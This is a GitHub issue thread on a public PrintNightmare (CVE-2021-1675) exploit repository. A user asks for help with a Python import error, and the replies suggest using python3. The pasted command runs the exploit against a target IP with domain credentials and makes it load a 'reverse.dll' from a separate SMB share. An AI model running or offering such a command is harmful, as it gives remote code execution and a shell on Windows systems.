cube0x0/CVE-2021-1675

ImportError: No module named impacket.dcerpc.v5

auduongxuan opened this issue · 3 comments

Hi team,

I installed impacket as instruction but I still have this issue:

└─$ sudo python CVE-2021-1675.py ntp.vn/tuan_nt:1235&*4356WQE@10.10.20.113 '\10.10.14.39\smb\reverse.dll'
Traceback (most recent call last):
File "CVE-2021-1675.py", line 2, in
from impacket.dcerpc.v5 import rprn
ImportError: No module named impacket.dcerpc.v5

Help me please!

Modifying the shebang solved this issue for me.

#!/usr/bin/env python3 instead of #!/usr/bin/python3

jgenn commented

For environments that have python 2 and python 3 installed, executing "python CVE-2021-1675.py..." may mean python 2 vice python 3. Changing the command to "python3 CVE-2021-1675.py..." worked for me.